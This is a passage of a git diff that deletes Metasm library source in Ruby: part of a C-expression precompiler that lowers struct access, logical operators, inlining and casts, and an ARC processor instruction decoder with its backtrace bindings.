Arrays if declaration is true (need to know variable allocation sizes etc) - # returns the type - def self.precompile_type(compiler, scope, obj, declaration = false) - case t = obj.type.untypedef - when BaseType - case t.name - when :void - when :float, :double, :longdouble - else t = BaseType.new("__int#{compiler.typesize[t.name]*8}".to_sym, t.specifier) - end - when Array - if declaration; precompile_type(compiler, scope, t, declaration) - else t = BaseType.new("__int#{compiler.typesize[:ptr]*8}".to_sym, :unsigned) - end - when Pointer - if t.type.untypedef.kind_of? Function - precompile_type(compiler, scope, t, declaration) - else - t = BaseType.new("__int#{compiler.typesize[:ptr]*8}".to_sym, :unsigned) - end - when Enum; t = BaseType.new("__int#{compiler.typesize[:int]*8}".to_sym) - when Function - precompile_type(compiler, scope, t) - t.args ||= [] - t.args.each { |a| precompile_type(compiler, scope, a) } - when Union - if declaration and t.members and not t.name # anonymous struct - t.members.each { |a| precompile_type(compiler, scope, a, true) } - end - else raise 'bad type ' + t.inspect - end - (t.qualifier ||= []).concat obj.type.qualifier if obj.type.qualifier and t != obj.type - (t.attributes ||= []).concat obj.type.attributes if obj.type.attributes and t != obj.type - while obj.type.kind_of? TypeDef - obj.type = obj.type.type - (t.qualifier ||= []).concat obj.type.qualifier if obj.type.qualifier and t != obj.type - (t.attributes ||= []).concat obj.type.attributes if obj.type.attributes and t != obj.type - end - obj.type = t - end - - def self.precompile_inner(compiler, scope, expr, nested = true) - case expr - when CExpression; expr.precompile_inner(compiler, scope, nested) - else expr - end - end - - # returns a new CExpression with simplified self.type, computes structure offsets - # turns char[]/float immediates to reference to anonymised const - # TODO 'a = b += c' => 'b += c; a = b' (use nested argument) - # TODO handle precompile_inner return nil - # TODO struct.bits - def precompile_inner(compiler, scope, nested = true) - case @op - when :'.' - # a.b => (&a)->b - lexpr = CExpression.precompile_inner(compiler, scope, @lexpr) - ll = lexpr - ll = lexpr.rexpr while ll.kind_of? CExpression and not ll.op - if ll.kind_of? CExpression and ll.op == :'*' and not ll.lexpr - # do not change lexpr.rexpr.type directly to a pointer, might retrigger (ptr+imm) => (ptr + imm*sizeof(*ptr)) - @lexpr = CExpression.new(nil, nil, ll.rexpr, Pointer.new(lexpr.type)) - else - @lexpr = CExpression.new(nil, :'&', lexpr, Pointer.new(lexpr.type)) - end - @op = :'->' - precompile_inner(compiler, scope) - when :'->' - # a->b => *(a + off(b)) - struct = @lexpr.type.untypedef.type.untypedef - lexpr = CExpression.precompile_inner(compiler, scope, @lexpr) - @lexpr = nil - @op = nil - if struct.kind_of? Union and (off = struct.offsetof(compiler, @rexpr)) != 0 - off = CExpression.new(nil, nil, off, BaseType.new(:int, :unsigned)) - @rexpr = CExpression.new(lexpr, :'+', off, lexpr.type) - # ensure the (ptr + value) is not expanded to (ptr + value * sizeof(*ptr)) - CExpression.precompile_type(compiler, scope, @rexpr) - else - # union or 1st struct member - @rexpr = lexpr - end - if @type.kind_of? Array # Array member type is already an address - else - @rexpr = CExpression.new(nil, :*, @rexpr, @rexpr.type) - end - precompile_inner(compiler, scope) - when :'[]' - rexpr = CExpression.precompile_inner(compiler, scope, @rexpr) - if rexpr.kind_of? CExpression and not rexpr.op and rexpr.rexpr == 0 - @rexpr = @lexpr - else - @rexpr = CExpression.new(@lexpr, :'+', rexpr, @lexpr.type) - end - @op = :'*' - @lexpr = nil - precompile_inner(compiler, scope) - when :'?:' - # cannot precompile in place, a conditionnal expression may have a coma: must turn into If - if @lexpr.kind_of? CExpression - @lexpr = @lexpr.precompile_inner(compiler, scope) - if not @lexpr.lexpr and not @lexpr.op and @lexpr.rexpr.kind_of? ::Numeric - if @lexpr.rexpr == 0 - e = @rexpr[1] - else - e = @rexpr[0] - end - e = CExpression.new(nil, nil, e, e.type) if not e.kind_of? CExpression - return e.precompile_inner(compiler, scope) - end - end - raise 'conditional in toplevel' if scope == compiler.toplevel # just in case - var = Variable.new - var.storage = :register - var.name = compiler.new_label('ternary') - var.type = @rexpr[0].type - CExpression.precompile_type(compiler, scope, var) - Declaration.new(var).precompile(compiler, scope) - If.new(@lexpr, CExpression.new(var, :'=', @rexpr[0], var.type), CExpression.new(var, :'=', @rexpr[1], var.type)).precompile(compiler, scope) - @lexpr = nil - @op = nil - @rexpr = var - precompile_inner(compiler, scope) - when :'&&' - if scope == compiler.toplevel - @lexpr = CExpression.precompile_inner(compiler, scope, @lexpr) - @rexpr = CExpression.precompile_inner(compiler, scope, @rexpr) - CExpression.precompile_type(compiler, scope, self) - self - else - var = Variable.new - var.storage = :register - var.name = compiler.new_label('and') - var.type = @type - CExpression.precompile_type(compiler, scope, var) - var.initializer = CExpression.new(nil, nil, 0, var.type) - Declaration.new(var).precompile(compiler, scope) - l = @lexpr.kind_of?(CExpression) ? @lexpr : CExpression.new(nil, nil, @lexpr, @lexpr.type) - r = @rexpr.kind_of?(CExpression) ? @rexpr : CExpression.new(nil, nil, @rexpr, @rexpr.type) - If.new(l, If.new(r, CExpression.new(var, :'=', CExpression.new(nil, nil, 1, var.type), var.type))).precompile(compiler, scope) - @lexpr = nil - @op = nil - @rexpr = var - precompile_inner(compiler, scope) - end - when :'||' - if scope == compiler.toplevel - @lexpr = CExpression.precompile_inner(compiler, scope, @lexpr) - @rexpr = CExpression.precompile_inner(compiler, scope, @rexpr) - CExpression.precompile_type(compiler, scope, self) - self - else - var = Variable.new - var.storage = :register - var.name = compiler.new_label('or') - var.type = @type - CExpression.precompile_type(compiler, scope, var) - var.initializer = CExpression.new(nil, nil, 1, var.type) - Declaration.new(var).precompile(compiler, scope) - l = @lexpr.kind_of?(CExpression) ? @lexpr : CExpression.new(nil, nil, @lexpr, @lexpr.type) - l = CExpression.new(nil, :'!', l, var.type) - r = @rexpr.kind_of?(CExpression) ? @rexpr : CExpression.new(nil, nil, @rexpr, @rexpr.type) - r = CExpression.new(nil, :'!', r, var.type) - If.new(l, If.new(r, CExpression.new(var, :'=', CExpression.new(nil, nil, 0, var.type), var.type))).precompile(compiler, scope) - @lexpr = nil - @op = nil - @rexpr = var - precompile_inner(compiler, scope) - end - when :funcall - if @lexpr.kind_of? Variable and @lexpr.type.kind_of? Function and @lexpr.attributes and @lexpr.attributes.include? 'inline' and @lexpr.initializer - # TODO check recursive call (direct or indirect) - raise 'inline varargs unsupported' if @lexpr.type.varargs - rtype = @lexpr.type.type.untypedef - if not rtype.kind_of? BaseType or rtype.name != :void - rval = Variable.new - rval.name = compiler.new_label('inline_return') - rval.type = @lexpr.type.type - Declaration.new(rval).precompile(compiler, scope) - end - inline_label = {} - locals = @lexpr.type.args.zip(@rexpr).inject({}) { |h, (fa, a)| - h.update fa => CExpression.new(nil, nil, a, fa.type).precompile_inner(compiler, scope) - } - copy_inline_ce = lambda { |ce| - case ce - when CExpression; CExpression.new(copy_inline_ce[ce.lexpr], ce.op, copy_inline_ce[ce.rexpr], ce.type) - when Variable; locals[ce] || ce - when ::Array; ce.map { |e_| copy_inline_ce[e_] } - else ce - end - } - copy_inline = lambda { |stmt, scp| - case stmt - when Block - b = Block.new(scp) - stmt.statements.each { |s| - s = copy_inline[s, b] - b.statements << s if s - } - b - when If; If.new(copy_inline_ce[stmt.test], copy_inline[stmt.bthen, scp]) # re-precompile ? - when Label; Label.new(inline_label[stmt.name] ||= compiler.new_label('inline_'+stmt.name)) - when Goto; Goto.new(inline_label[stmt.target] ||= compiler.new_label('inline_'+stmt.target)) - when Return; CExpression.new(rval, :'=', copy_inline_ce[stmt.value], rval.type).precompile_inner(compiler, scp) if stmt.value - when CExpression; copy_inline_ce[stmt] - when Declaration - nv = stmt.var.dup - if nv.type.kind_of? Array and nv.type.length.kind_of? CExpression - nv.type = Array.new(nv.type.type, copy_inline_ce[nv.type.length]) # XXX nested dynamic? - end - locals[stmt.var] = nv - scp.symbol[nv.name] = nv - Declaration.new(nv) - else raise 'unexpected inline statement ' + stmt.inspect - end - } - scope.statements << copy_inline[@lexpr.initializer, scope] # body already precompiled - CExpression.new(nil, nil, rval, rval.type).precompile_inner(compiler, scope) - elsif @type.kind_of? Union - var = Variable.new - var.name = compiler.new_label('return_struct') - var.type = @type - Declaration.new(var).precompile(compiler, scope) - @rexpr.unshift CExpression.new(nil, :&, var, Pointer.new(var.type)) - - var2 = Variable.new - var2.name = compiler.new_label('return_struct_ptr') - var2.type = Pointer.new(@type) - var2.storage = :register - CExpression.precompile_type(compiler, scope, var2) - Declaration.new(var2).precompile(compiler, scope) - @type = var2.type - CExpression.new(var2, :'=', self, var2.type).precompile(compiler, scope) - - CExpression.new(nil, :'*', var2, var.type).precompile_inner(compiler, scope) - else - t = @lexpr.type.untypedef - t = t.type.untypedef if t.pointer? - @lexpr = CExpression.precompile_inner(compiler, scope, @lexpr) - types = t.args.map { |a| a.type } - # cast args to func prototype - @rexpr.map! { |e_| (types.empty? ? e_ : CExpression.new(nil, nil, e_, types.shift)).precompile_inner(compiler, scope) } - CExpression.precompile_type(compiler, scope, self) - self - end - when :',' - lexpr = @lexpr.kind_of?(CExpression) ? @lexpr : CExpression.new(nil, nil, @lexpr, @lexpr.type) - rexpr = @rexpr.kind_of?(CExpression) ? @rexpr : CExpression.new(nil, nil, @rexpr, @rexpr.type) - lexpr.precompile(compiler, scope) - rexpr.precompile_inner(compiler, scope) - when :'!' - CExpression.precompile_type(compiler, scope, self) - if @rexpr.kind_of?(CExpression) - case @rexpr.op - when :'<', :'>', :'<=', :'>=', :'==', :'!=' - @op = { :'<' => :'>=', :'>' => :'<=', :'<=' => :'>', :'>=' => :'<', - :'==' => :'!=', :'!=' => :'==' }[@rexpr.op] - @lexpr = @rexpr.lexpr - @rexpr = @rexpr.rexpr - precompile_inner(compiler, scope) - when :'&&', :'||' - @op = { :'&&' => :'||', :'||' => :'&&' }[@rexpr.op] - @lexpr = CExpression.new(nil, :'!', @rexpr.lexpr, @type) - @rexpr = CExpression.new(nil, :'!', @rexpr.rexpr, @type) - precompile_inner(compiler, scope) - when :'!' - if @rexpr.rexpr.kind_of? CExpression - @op = nil - @rexpr = @rexpr.rexpr - else - @op = :'!=' - @lexpr = @rexpr.rexpr - @rexpr = CExpression.new(nil, nil, 0, @lexpr.type) - end - precompile_inner(compiler, scope) - else - @rexpr = CExpression.precompile_inner(compiler, scope, @rexpr) - self - end - else - @rexpr = CExpression.precompile_inner(compiler, scope, @rexpr) - self - end - when :'++', :'--' - if not @rexpr - var = Variable.new - var.storage = :register - var.name = compiler.new_label('postincrement') - var.type = @type - Declaration.new(var).precompile(compiler, scope) - CExpression.new(var, :'=', @lexpr, @type).precompile(compiler, scope) - CExpression.new(nil, @op, @lexpr, @type).precompile(compiler, scope) - @lexpr = nil - @op = nil - @rexpr = var - precompile_inner(compiler, scope) - elsif @type.pointer? and compiler.sizeof(nil, @type.untypedef.type.untypedef) != 1 - # ++ptr => ptr += sizeof(*ptr) (done in += precompiler) - @op = { :'++' => :'+=', :'--' => :'-=' }[@op] - @lexpr = @rexpr - @rexpr = CExpression.new(nil, nil, 1, BaseType.new(:ptr, :unsigned)) - precompile_inner(compiler, scope) - else - CExpression.precompile_type(compiler, scope, self) - @rexpr = CExpression.precompile_inner(compiler, scope, @rexpr) - self - end - when :'=' - # handle structure assignment/array assignment - case @lexpr.type.untypedef - when Union - # rexpr may be a :funcall - @rexpr = CExpression.precompile_inner(compiler, scope, @rexpr) - @lexpr.type.untypedef.members.zip(@rexpr.type.untypedef.members) { |m1, m2| - # assume m1 and m2 are compatible - v1 = CExpression.new(@lexpr, :'.', m1.name, m1.type) - v2 = CExpression.new(@rexpr, :'.', m2.name, m1.type) - CExpression.new(v1, :'=', v2, v1.type).precompile(compiler, scope) - } - # (foo = bar).toto - @op = nil - @rexpr = @lexpr - @lexpr = nil - @type = @rexpr.type - precompile_inner(compiler, scope) if nested - when Array - if not len = @lexpr.type.untypedef.length - @rexpr = CExpression.precompile_inner(compiler, scope, @rexpr) - # char toto[] = "bla" - if @rexpr.kind_of? CExpression and not @rexpr.lexpr and not @rexpr.op and - @rexpr.rexpr.kind_of? Variable and @rexpr.rexpr.type.kind_of? Array - len = @rexpr.rexpr.type.length - end - end - raise 'array initializer with no length !' if not len - # TODO optimize... - len.times { |i| - i = CExpression.new(nil, nil, i, BaseType.new(:long, :unsigned)) - v1 = CExpression.new(@lexpr, :'[]', i, @lexpr.type.untypedef.type) - v2 = CExpression.new(@rexpr, :'[]', i, v1.type) - CExpression.new(v1, :'=', v2, v1.type).precompile(compiler, scope) - } - @op = nil - @rexpr = @lexpr - @lexpr = nil - @type = @rexpr.type - precompile_inner(compiler, scope) if nested - else - @lexpr = CExpression.precompile_inner(compiler, scope, @lexpr) - @rexpr = CExpression.precompile_inner(compiler, scope, @rexpr) - CExpression.precompile_type(compiler, scope, self) - self - end - when nil - case @rexpr - when Block - # compound statements - raise 'compound statement in toplevel' if scope == compiler.toplevel # just in case - var = Variable.new - var.storage = :register - var.name = compiler.new_label('compoundstatement') - var.type = @type - CExpression.precompile_type(compiler, scope, var) - Declaration.new(var).precompile(compiler, scope) - if @rexpr.statements.last.kind_of? CExpression - @rexpr.statements[-1] = CExpression.new(var, :'=', @rexpr.statements[-1], var.type) - @rexpr.precompile(compiler, scope) - end - @rexpr = var - precompile_inner(compiler, scope) - when ::String - # char[] immediate - v = Variable.new - v.storage = :static - v.name = 'char_' + @rexpr.tr('^a-zA-Z', '')[0, 8] - v.type = Array.new(@type.type) - v.type.length = @rexpr.length + 1 - v.type.type.qualifier = [:const] - v.initializer = CExpression.new(nil, nil, @rexpr, @type) - Declaration.new(v).precompile(compiler, scope) - @rexpr = v - precompile_inner(compiler, scope) - when ::Float - # float immediate - v = Variable.new - v.storage = :static - v.name = @type.untypedef.name.to_s - v.type = @type - v.type.qualifier = [:const] - v.initializer = CExpression.new(nil, nil, @rexpr, @type) - Declaration.new(v).precompile(compiler, scope) - @rexpr = CExpression.new(nil, :'*', v, v.type) - precompile_inner(compiler, scope) - when CExpression - # simplify casts - CExpression.precompile_type(compiler, scope, self) - # propagate type first so that __uint64 foo() { return -1 } => 0xffffffffffffffff - @rexpr.type = @type if @rexpr.kind_of? CExpression and @rexpr.op == :- and not @rexpr.lexpr and @type.kind_of? BaseType and @type.name == :__int64 # XXX kill me - @rexpr = @rexpr.precompile_inner(compiler, scope) - if @type.kind_of? BaseType and @rexpr.type.kind_of? BaseType - if @rexpr.type == @type - # noop cast - @lexpr, @op, @rexpr = @rexpr.lexpr, @rexpr.op, @rexpr.rexpr - elsif not @rexpr.op and @type.integral? and @rexpr.type.integral? - if @rexpr.rexpr.kind_of? ::Numeric and (val = reduce(compiler)).kind_of? ::Numeric - @rexpr = val - elsif compiler.typesize[@type.name] < compiler.typesize[@rexpr.type.name] - # (char)(short)(int)(long)foo => (char)foo - @rexpr = @rexpr.rexpr - end - end - end - self - else - CExpression.precompile_type(compiler, scope, self) - self - end - else - # int+ptr => ptr+int - if @op == :+ and @lexpr and @lexpr.type.integral? and @rexpr.type.pointer? - @rexpr, @lexpr = @lexpr, @rexpr - end - - # handle pointer + 2 == ((char *)pointer) + 2*sizeof(*pointer) - if @rexpr and [:'+', :'+=', :'-', :'-='].include? @op and - @type.pointer? and @rexpr.type.integral? - sz = compiler.sizeof(nil, @type.untypedef.type.untypedef) - if sz != 1 - sz = CExpression.new(nil, nil, sz, @rexpr.type) - @rexpr = CExpression.new(@rexpr, :'*', sz, @rexpr.type) - end - end - - # type promotion => cast - case @op - when :+, :-, :*, :/, :&, :|, :^, :% - if @lexpr - if @lexpr.type != @type - @lexpr = CExpression.new(nil, nil, @lexpr, @lexpr.type) if not @lexpr.kind_of? CExpression - @lexpr = CExpression.new(nil, nil, @lexpr, @type) - end - if @rexpr.type != @type - @rexpr = CExpression.new(nil, nil, @rexpr, @rexpr.type) if not @rexpr.kind_of? CExpression - @rexpr = CExpression.new(nil, nil, @rexpr, @type) - end - end - when :>>, :<< - # char => int - if @lexpr.type != @type - @lexpr = CExpression.new(nil, nil, @lexpr, @lexpr.type) if not @lexpr.kind_of? CExpression - @lexpr = CExpression.new(nil, nil, @lexpr, @type) - end - when :'+=', :'-=', :'*=', :'/=', :'&=', :'|=', :'^=', :'%=' - if @rexpr.type != @lexpr.type - @rexpr = CExpression.new(nil, nil, @rexpr, @rexpr.type) if not @rexpr.kind_of? CExpression - @rexpr = CExpression.new(nil, nil, @rexpr, @type) - end - end - - @lexpr = CExpression.precompile_inner(compiler, scope, @lexpr) - @rexpr = CExpression.precompile_inner(compiler, scope, @rexpr) - - if @op == :'&' and not @lexpr - rr = @rexpr - rr = rr.rexpr while rr.kind_of? CExpression and not rr.op - if rr.kind_of? CExpression and rr.op == :'*' and not rr.lexpr - @lexpr = nil - @op = nil - @rexpr = rr.rexpr - return precompile_inner(compiler, scope) - elsif rr != @rexpr - @rexpr = rr - return precompile_inner(compiler, scope) - end - end - - CExpression.precompile_type(compiler, scope, self) - - isnumeric = lambda { |e_| e_.kind_of?(::Numeric) or (e_.kind_of? CExpression and - not e_.lexpr and not e_.op and e_.rexpr.kind_of? ::Numeric) } - - # calc numeric - # XXX do not simplify operations involving variables (for type overflow etc) - if isnumeric[@rexpr] and (not @lexpr or isnumeric[@lexpr]) and (val = reduce(compiler)).kind_of? ::Numeric - @lexpr = nil - @op = nil - @rexpr = val - end - - self - end - end - end -end -end diff --git a/lib/metasm/metasm/cpu/arc.rb b/lib/metasm/metasm/cpu/arc.rb deleted file mode 100644 index 3ee319836c..0000000000 --- a/lib/metasm/metasm/cpu/arc.rb +++ /dev/null @@ -1,8 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2010 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' -require 'metasm/cpu/arc/decode' diff --git a/lib/metasm/metasm/cpu/arc/decode.rb b/lib/metasm/metasm/cpu/arc/decode.rb deleted file mode 100644 index 9b93a3528b..0000000000 --- a/lib/metasm/metasm/cpu/arc/decode.rb +++ /dev/null @@ -1,425 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2010 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/cpu/arc/opcodes' -require 'metasm/decode' - -module Metasm -class ARC - def major_opcode(val, sz = 16) - return val >> (sz == 16 ? 0xB : 0x1B) - end - - def sub_opcode(val) - return ((val >> 16) & 0x3f) - end - - def build_opcode_bin_mask(op, sz) - op.bin_mask = 0 - op.args.each { |f| op.bin_mask |= @fields_mask[f] << @fields_shift[f]} - op.bin_mask = ((1 << sz)-1) ^ op.bin_mask - end - - def build_bin_lookaside - bin_lookaside = {} - opcode_list.each{|mode,oplist| - lookaside = {} - # 2nd level to speed up lookaside for major 5 - lookaside[5] = {} - oplist.each { |op| - next if not op.bin.kind_of? Integer - build_opcode_bin_mask(op, mode) - mj = major_opcode(op.bin, mode) - if mode == 32 and mj == 5 - (lookaside[mj][sub_opcode(op.bin)] ||= []) << op - else - (lookaside[mj] ||= []) << op - end - } - bin_lookaside[mode] = lookaside - } - bin_lookaside - end - - def instruction_size(edata) - val = major_opcode(edata.decode_imm(:u16, @endianness)) - edata.ptr -= 2 - (val >= 0xC) ? 16 : 32 - end - - def memref_size(di) - case di.opcode.name - when 'ldb_s', 'stb_s', 'extb_s', 'sexb_s'; 1 - when 'ldw_s', 'stw_s', 'extw_s', 'sexw_s'; 2 - else 4 - end - end - - def decode_bin(edata, sz) - case sz - when 16; edata.decode_imm(:u16, @endianness) - when 32 - # wordswap - val = edata.decode_imm(:u32, :little) - ((val >> 16) & 0xffff) | ((val & 0xffff) << 16) - end - end - - def decode_findopcode(edata) - di = DecodedInstruction.new(self) - - @instrlength = instruction_size(edata) - val = decode_bin(edata, @instrlength) - edata.ptr -= @instrlength/8 - - maj = major_opcode(val, @instrlength) - lookaside = @bin_lookaside[@instrlength][maj] - lookaside = lookaside[sub_opcode(val)] if @instrlength == 32 and maj == 5 - - op = lookaside.select { |opcode| - if $ARC_DEBUG and (val & opcode.bin_mask) == opcode.bin - puts "#{opcode.bin_mask.to_s(16)} - #{opcode.bin.to_s(16)} - #{(val & opcode.bin_mask).to_s(16)} - #{opcode.name} - #{opcode.args}" - end - (val & opcode.bin_mask) == opcode.bin - } - - if op.size == 2 and op.first.name == 'mov' and op.last.name == 'nop' - op = op.last - elsif op == nil or op.size != 1 - puts "[> I sense a disturbance in the force <]" - op.to_a.each { |opcode| puts "#{opcode.name} - #{opcode.args} - #{Expression[opcode.bin]} - #{Expression[opcode.bin_mask]}" } - puts "current value: #{Expression[val]}" - puts "current value: 0b#{val.to_s(2)}" - op = nil - else - op = op.first - end - - di if di.opcode = op - end - - Reduced_reg = [0, 1, 2, 3, 12, 13, 14, 15] - def reduced_reg_set(i) - Reduced_reg[i] - end - - def decode_instr_op(edata, di) - before_ptr = edata.ptr - op = di.opcode - di.instruction.opname = op.name - val = decode_bin(edata, @instrlength) - - field_val = lambda { |f| - r = (val >> @fields_shift[f]) & @fields_mask[f] - case f - - # 16-bits instruction operands ------------------------------------------" - when :ca, :cb, :cb2, :cb3, :cc; r = reduced_reg_set(r) - when :ch - r = (((r & 7) << 3) | (r >> 5)) - when :@cbu7, :@cbu6, :@cbu5 - r = r & 0b11111 - r = (f == :@cbu7) ? r << 2 : ( (f == :@cbu6) ? r << 1 : r) - when :cu5ee; r = r << 2 - when :cdisps13 - r = (Expression.make_signed(r,11) << 2) + ((di.address >> 2) << 2) - when :cdisps10 - r = (Expression.make_signed(r, 9) << 1) + ((di.address >> 2) << 2) - when :cdisps8 - r = (Expression.make_signed(r, 7) << 1) + ((di.address >> 2) << 2) - when :cdisps7 - r = (Expression.make_signed(r, 6) << 1) + ((di.address >> 2) << 2) - when :cs9, :cs10, :cs11 - r = Expression.make_signed(r, ((f== :cs11 ? 11 : (f == :cs10 ? 10 : 9) ))) - r = (f == :cs11) ? r << 2 : ((f == :cs10) ? r << 1 : r) - when :@cspu7; - r = r << 2 - - # 32-bits instruction operands ------------------------------------------" - when :b - r = (r >> 12) | ((r & 0x7) << 3) - when :s8e - r = ((r & 0x1) << 7) | (r >> 2) - r = (Expression.make_signed(r, 8) << 1) + ((di.address >> 2) << 2) - - when :u6e - r = (r << 1) + ((di.address >> 2) << 2) - when :s9 - r = (Expression.make_signed(r, 7) << 1) + ((di.address >> 2) << 2) - - when :s12 - r = (r >> 6) | ((r & 0x3f) << 6) - r = Expression.make_signed(r, 12) - - when :s12e - r = (r >> 6) | ((r & 0x3f) << 6) - r = (Expression.make_signed(r, 12) <<1 ) + ((di.address >> 2) << 2) - - when :s21e - r = ((r & 0x3ff) << 10) | (r >> 11) - r = (Expression.make_signed(r, 20) << 1) + ((di.address >> 2) << 2) - - when :s21ee # pc-relative - r = ((r & 0x3ff) << 9) | (r >> 12) - r = (Expression.make_signed(r, 19) << 2) + ((di.address >> 2) << 2) - - when :s25e # pc-relative - r = ((r & 0xf) << 20) | (((r >> 6) & 0x3ff) << 10) | (r >> 17) - r = (Expression.make_signed(r, 24) << 1) + ((di.address >> 2) << 2) - - when :s25ee # pc-relative - r = ((r & 0xf) << 19) | (((r >> 6) & 0x3ff) << 9) | (r >> 18) - r = (Expression.make_signed(r, 23) << 2) + ((di.address >> 2) << 2) - - when :@bs9 - r = r >> 3 - s9 = ((r & 1) << 8) | ((r >> 1) & 0xff) - r = Expression.make_signed(s9, 9) - - when :bext, :cext, :@cext - if ((r = field_val[(f == :bext) ? :b : :c]) == 0x3E) - tmp = edata.decode_imm(:u32, :little) - r = Expression[(tmp >> 16) | ((tmp & 0xffff) << 16)] - else - r = GPR.new(r) - end - - else r - end - r - } - - # decode properties fields - op.args.each { |a| - case a - when :flags15, :flags16 - di.instruction.opname += '.f' if field_val[a] != 0 - when :ccond - di.instruction.opname += ('.' + @cond_suffix[field_val[a]]) if field_val[a] != 0 - when :delay5, :delay16 - di.instruction.opname += '.d' if field_val[a] != 0 - when :cache5, :cache11, :cache16 - di.instruction.opname +='.di' if field_val[a] != 0 - when :signext6, :signext16 - di.instruction.opname += '.x' if field_val[a] != 0 - when :wb3, :wb9, :wb22 - case field_val[a] - when 1; di.instruction.opname += ((memref_size(di) == 2) ? '.ab' : '.a') - when 2; di.instruction.opname += '.ab' - when 3; di.instruction.opname += '.as' - end - when :sz1, :sz7, :sz16, :sz17 - case field_val[a] - when 1; di.instruction.opname += 'b' - when 2; di.instruction.opname += 'w' - end - else - di.instruction.args << case a - - # 16-bits instruction operands ------------------------------------------" - when :cr0; GPR.new 0 - when :ca, :cb, :cb2, :cb3, :cc; GPR.new(field_val[a]) - when :ch - if ((r = field_val[a]) == 0x3E) - tmp = edata.decode_imm(:u32, :little) - Expression[(tmp >> 16) | ((tmp & 0xffff) << 16)] - else - GPR.new(r) - end - - when :@gps9, :@gps10, :@gps11 - imm = (a == :@gps11) ? :cs11 : (a == :@gps10) ? :cs10 : :cs9 - Memref.new(GPR.new(26), Expression[field_val[imm]], memref_size(di)) - - when :cu3, :cu5, :cu5ee, :cu6, :cu7, :cu7l, :cu8; Expression[field_val[a]] - when :cs9, :cs10, :cs11; Expression[field_val[a]] - when :cdisps7, :cdisps8, :cdisps10, :cdisps13; Expression[field_val[a]] - when :@cb; Memref.new(GPR.new(field_val[:cb]), nil, memref_size(di)) - when :@cbu7, :@cbu6, :@cbu5; Memref.new(GPR.new(field_val[:cb]), Expression[field_val[a]], memref_size(di)) - when :@cspu7; Memref.new(GPR.new(28), field_val[a], memref_size(di)) - when :@cbcc; Memref.new(field_val[:cb], field_val[:cc], memref_size(di)) - - # 32-bits instruction operands ------------------------------------------" - when :a, :b - ((r = field_val[a]) == 0x3E) ? :zero : GPR.new(r) - when :b2; GPR.new field_val[:b] - when :c; GPR.new field_val[a] - when :bext, :cext; field_val[a] - when :@cext - target = field_val[a] - (di.opcode.props[:setip] and target.kind_of? GPR) ? Memref.new(target, nil, memref_size(di)) : target - - when :@bextcext - tmp = field_val[a] - #c = tmp & 0x3F - tmp = tmp >> 6 - b = (tmp >> 12) | ((tmp & 0x7) << 3) - Memref.new(field_val[:bext], field_val[:cext], memref_size(di)) - - when :u6, :u6e, :s8e, :s9, :s12; Expression[field_val[a]] - when :s12e, :s21e, :s21ee, :s25e, :s25ee; Expression[field_val[a]] - when :auxs12; AUX.new field_val[:s12] - when :@c; Memref.new(GPR.new(field_val[a]), nil, memref_size(di)) - when :@bcext; Memref.new(field_val[a], nil, memref_size(di)) - when :@bcext; Memref.new(field_val[:b], field_val[:cext], memref_size(di)) - when :@bs9 - # [b,s9] or [limm] if b = 0x3E - base = field_val[:bext] - Memref.new(base, (base.kind_of? GPR) ? Expression[field_val[a]] : nil, memref_size(di)) - - # common instruction operands ------------------------------------------" - when :zero; Expression[0] - when :gp; GPR.new(26) - when :sp, :sp2; GPR.new(28) - when :blink; GPR.new(31) - when :@ilink1; Memref.new(GPR.new(29), nil, memref_size(di)) - when :@ilink2; Memref.new(GPR.new(30), nil, memref_size(di)) - when :@blink; Memref.new(GPR.new(31), nil, memref_size(di)) - - else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" - end - end - } - - di.bin_length += edata.ptr - before_ptr - - return if edata.ptr > edata.virtsize - - di - end - - def disassembler_default_func - df = DecodedFunction.new - df.backtrace_binding = {} - 15.times { |i| - df.backtrace_binding["r#{i}".to_sym] = Expression::Unknown - } - df.backtracked_for = [] - df.btfor_callback = lambda { |dasm, btfor, funcaddr, calladdr| - if funcaddr != :default - btfor - elsif di = dasm.decoded[calladdr] and di.opcode.props[:saveip] - btfor - else [] - end - } - df - end - - REG_SYMS = [:r26, :r27, :r28, :r29, :r30, :r31, :r60] - def register_symbols - REG_SYMS - end - - def backtrace_binding - @backtrace_binding ||= init_backtrace_binding - end - - def opshift(op) - op[/\d/].to_i - end - - def with_res(arg) - arg != :zero - end - - def init_backtrace_binding - sp = :r28 - blink = :r31 - - @backtrace_binding ||= {} - - mask = lambda { |sz| (1 << sz)-1 } # 32bits => 0xffff_ffff - - opcode_list.each{|mode, oplist| - oplist.map { |ol| ol.name }.uniq.each { |op| - binding = case op - when /^add/, /^sub/ - lambda { |di, a0, a1, a2| - if (shift = opshift(op)) == 0 - { a0 => Expression[[a1, :+, a2], :&, mask[32]] } - else - { a0 => Expression[[a1, :+, [a2, :<<, shift]], :&, mask[32]] } - end - } - when /^and/ - lambda { |di, a0, a1, a2| { a0 => Expression[a1, :&, a2] } } - when /^asl/ - lambda { |di, *a| { a[0] => Expression[[a[1], :<<, (a[2] ? a[2]:1)], :&, mask[32]] } } - when /^bxor/ - lambda { |di, a0, a1, a2| { a0 => Expression[a1, :^, [1, :<<, a2]] }} - when /^bclr/; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :&, Expression[mask[32], :^, Expression[1, :<<, a2]]] } } - when /^bset/; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :|, Expression[1, :<<, a2]] } } - when /^jl/; lambda { |di, a0| { blink => Expression[di.next_addr] } } - when 'bl', 'bl_s', /^bl\./ - # FIXME handle delay slot - # "This address is taken either from the first instruction following the branch (current PC) or the - # instruction after that (next PC) according to the delay slot mode (.d)." - lambda { |di, a0| { blink => Expression[di.next_addr] } } - when /^mov/, /^lr/, /^ld/; lambda { |di, a0, a1| { a0 => a1 } } - when /^neg/; lambda { |di, a0, a1| { a0 => Expression[[0, :-, a1], :&, mask[32]] } } - when /^not/; lambda { |di, a0, a1| { a0 => Expression[[:~, a1], :&, mask[32]] } } - when /^or/; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :|, a2] } } - when /^st/, /^sr/; lambda { |di, a0, a1| { a1 => a0 } } - when /^ex/; lambda { |di, a0, a1| { a1 => a0 , a0 => a1 } } - when 'push_s' - lambda { |di, a0| { - sp => Expression[sp, :-, 